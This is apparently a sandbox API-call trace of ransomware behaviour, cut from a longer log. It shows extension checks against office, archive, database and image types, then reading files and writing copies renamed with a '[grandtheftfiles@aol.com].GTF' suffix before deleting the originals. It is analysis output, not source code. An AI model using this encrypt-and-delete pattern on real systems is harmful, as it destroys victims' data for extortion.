	[0088.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.148] lstrlenW (lpString=".jpg") returned 4
	[0088.148] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.148] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0088.148] lstrlenW (lpString="vccorlib140.dll") returned 15
	[0088.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0088.149] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=390320) returned 1
	[0088.149] CloseHandle (hObject=0x384) returned 1
	[0088.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20
	[0088.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0088.149] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.149] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0088.149] GetLastError () returned 0x0
	[0088.149] ReadFile (in: hFile=0x384, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x5f4b0, lpOverlapped=0x0) returned 1
	[0088.159] WriteFile (in: hFile=0x31c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x5f4c0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x5f4c0, lpOverlapped=0x0) returned 1
	[0088.166] ReadFile (in: hFile=0x384, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.166] WriteFile (in: hFile=0x31c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0088.166] SetEndOfFile (hFile=0x31c) returned 1
	[0088.166] CloseHandle (hObject=0x31c) returned 1
	[0088.166] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.166] SetEndOfFile (hFile=0x384) returned 1
	[0088.170] CloseHandle (hObject=0x384) returned 1
	[0088.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0088.170] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 1
	[0088.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0088.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0088.170] lstrlenW (lpString=".doc") returned 4
	[0088.171] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.171] lstrlenW (lpString=".docx") returned 5
	[0088.171] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.171] lstrlenW (lpString=".pdf") returned 4
	[0088.171] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.171] lstrlenW (lpString=".xls") returned 4
	[0088.171] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.171] lstrlenW (lpString=".xlsx") returned 5
	[0088.171] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.171] lstrlenW (lpString=".ppt") returned 4
	[0088.171] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0088.171] lstrlenW (lpString=".zip") returned 4
	[0088.171] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.171] lstrlenW (lpString=".rar") returned 4
	[0088.171] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.171] lstrlenW (lpString=".bz2") returned 4
	[0088.171] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.171] lstrlenW (lpString=".7z") returned 3
	[0088.171] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0088.171] lstrlenW (lpString=".dbf") returned 4
	[0088.171] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0088.171] lstrlenW (lpString=".1cd") returned 4
	[0088.171] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0088.171] lstrlenW (lpString=".jpg") returned 4
	[0088.171] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0088.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0088.171] lstrlenW (lpString=".doc") returned 4
	[0088.171] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.171] lstrlenW (lpString=".docx") returned 5
	[0088.171] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.171] lstrlenW (lpString=".pdf") returned 4
	[0088.172] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.172] lstrlenW (lpString=".xls") returned 4
	[0088.172] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.172] lstrlenW (lpString=".xlsx") returned 5
	[0088.172] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.172] lstrlenW (lpString=".ppt") returned 4
	[0088.172] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0088.172] lstrlenW (lpString=".zip") returned 4
	[0088.172] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.172] lstrlenW (lpString=".rar") returned 4
	[0088.172] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.172] lstrlenW (lpString=".bz2") returned 4
	[0088.172] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.172] lstrlenW (lpString=".7z") returned 3
	[0088.172] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0088.172] lstrlenW (lpString=".dbf") returned 4
	[0088.172] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0088.172] lstrlenW (lpString=".1cd") returned 4
	[0088.172] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0088.172] lstrlenW (lpString=".jpg") returned 4
	[0088.172] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.172] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0088.172] lstrlenW (lpString="vcruntime140.dll") returned 16
	[0088.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0088.173] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=88752) returned 1
	[0088.173] CloseHandle (hObject=0x384) returned 1
	[0088.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20
	[0088.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0088.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0088.173] lstrlenW (lpString=".doc") returned 4
	[0088.173] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.173] lstrlenW (lpString=".docx") returned 5
	[0088.173] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.174] lstrlenW (lpString=".pdf") returned 4
	[0088.174] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.174] lstrlenW (lpString=".xls") returned 4
	[0088.174] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.174] lstrlenW (lpString=".xlsx") returned 5
	[0088.174] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.174] lstrlenW (lpString=".ppt") returned 4
	[0088.174] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0088.174] lstrlenW (lpString=".zip") returned 4
	[0088.174] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.174] lstrlenW (lpString=".rar") returned 4
	[0088.174] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.174] lstrlenW (lpString=".bz2") returned 4
	[0088.174] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.174] lstrlenW (lpString=".7z") returned 3
	[0088.174] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0088.174] lstrlenW (lpString=".dbf") returned 4
	[0088.174] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0088.174] lstrlenW (lpString=".1cd") returned 4
	[0088.174] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0088.174] lstrlenW (lpString=".jpg") returned 4
	[0088.174] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0088.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0088.174] lstrlenW (lpString=".doc") returned 4
	[0088.174] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.174] lstrlenW (lpString=".docx") returned 5
	[0088.174] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.174] lstrlenW (lpString=".pdf") returned 4
	[0088.174] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.174] lstrlenW (lpString=".xls") returned 4
	[0088.174] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.175] lstrlenW (lpString=".xlsx") returned 5
	[0088.175] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.175] lstrlenW (lpString=".ppt") returned 4
	[0088.175] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0088.175] lstrlenW (lpString=".zip") returned 4
	[0088.175] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.175] lstrlenW (lpString=".rar") returned 4
	[0088.175] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.175] lstrlenW (lpString=".bz2") returned 4
	[0088.175] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.175] lstrlenW (lpString=".7z") returned 3
	[0088.175] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0088.175] lstrlenW (lpString=".dbf") returned 4
	[0088.175] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0088.175] lstrlenW (lpString=".1cd") returned 4
	[0088.175] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0088.175] lstrlenW (lpString=".jpg") returned 4
	[0088.175] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.175] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.175] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0088.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0088.177] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=10752) returned 1
	[0088.177] CloseHandle (hObject=0x384) returned 1
	[0088.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20
	[0088.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0088.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0088.177] lstrlenW (lpString=".doc") returned 4
	[0088.177] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.177] lstrlenW (lpString=".docx") returned 5
	[0088.177] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.177] lstrlenW (lpString=".pdf") returned 4
	[0088.177] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.177] lstrlenW (lpString=".xls") returned 4
	[0088.177] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.177] lstrlenW (lpString=".xlsx") returned 5
	[0088.177] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.177] lstrlenW (lpString=".ppt") returned 4
	[0088.177] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0088.177] lstrlenW (lpString=".zip") returned 4
	[0088.177] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.177] lstrlenW (lpString=".rar") returned 4
	[0088.177] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.178] lstrlenW (lpString=".bz2") returned 4
	[0088.178] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.178] lstrlenW (lpString=".7z") returned 3
	[0088.178] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0088.178] lstrlenW (lpString=".dbf") returned 4
	[0088.178] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0088.178] lstrlenW (lpString=".1cd") returned 4
	[0088.178] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0088.178] lstrlenW (lpString=".jpg") returned 4
	[0088.178] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0088.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0088.178] lstrlenW (lpString=".doc") returned 4
	[0088.178] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.178] lstrlenW (lpString=".docx") returned 5
	[0088.178] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.178] lstrlenW (lpString=".pdf") returned 4
	[0088.178] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.178] lstrlenW (lpString=".xls") returned 4
	[0088.178] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.178] lstrlenW (lpString=".xlsx") returned 5
	[0088.178] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.178] lstrlenW (lpString=".ppt") returned 4
	[0088.178] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0088.178] lstrlenW (lpString=".zip") returned 4
	[0088.178] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.178] lstrlenW (lpString=".rar") returned 4
	[0088.178] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.178] lstrlenW (lpString=".bz2") returned 4
	[0088.178] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.178] lstrlenW (lpString=".7z") returned 3
	[0088.178] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0088.179] lstrlenW (lpString=".dbf") returned 4
	[0088.179] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0088.179] lstrlenW (lpString=".1cd") returned 4
	[0088.179] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0088.179] lstrlenW (lpString=".jpg") returned 4
	[0088.179] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.179] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.179] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0088.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0088.179] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=10752) returned 1
	[0088.179] CloseHandle (hObject=0x384) returned 1
	[0088.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20
	[0088.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0088.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0088.180] lstrlenW (lpString=".doc") returned 4
	[0088.180] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.180] lstrlenW (lpString=".docx") returned 5
	[0088.180] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.180] lstrlenW (lpString=".pdf") returned 4
	[0088.180] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.180] lstrlenW (lpString=".xls") returned 4
	[0088.180] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.180] lstrlenW (lpString=".xlsx") returned 5
	[0088.180] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.180] lstrlenW (lpString=".ppt") returned 4
	[0088.180] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0088.180] lstrlenW (lpString=".zip") returned 4
	[0088.180] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.180] lstrlenW (lpString=".rar") returned 4
	[0088.180] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.180] lstrlenW (lpString=".bz2") returned 4
	[0088.180] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.180] lstrlenW (lpString=".7z") returned 3
	[0088.180] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0088.180] lstrlenW (lpString=".dbf") returned 4
	[0088.180] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0088.180] lstrlenW (lpString=".1cd") returned 4
	[0088.180] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0088.180] lstrlenW (lpString=".jpg") returned 4
	[0088.180] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0088.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0088.180] lstrlenW (lpString=".doc") returned 4
	[0088.180] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.180] lstrlenW (lpString=".docx") returned 5
	[0088.181] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.181] lstrlenW (lpString=".pdf") returned 4
	[0088.181] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.181] lstrlenW (lpString=".xls") returned 4
	[0088.181] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.181] lstrlenW (lpString=".xlsx") returned 5
	[0088.181] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.181] lstrlenW (lpString=".ppt") returned 4
	[0088.181] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0088.181] lstrlenW (lpString=".zip") returned 4
	[0088.181] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.181] lstrlenW (lpString=".rar") returned 4
	[0088.181] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.181] lstrlenW (lpString=".bz2") returned 4
	[0088.181] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.181] lstrlenW (lpString=".7z") returned 3
	[0088.181] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
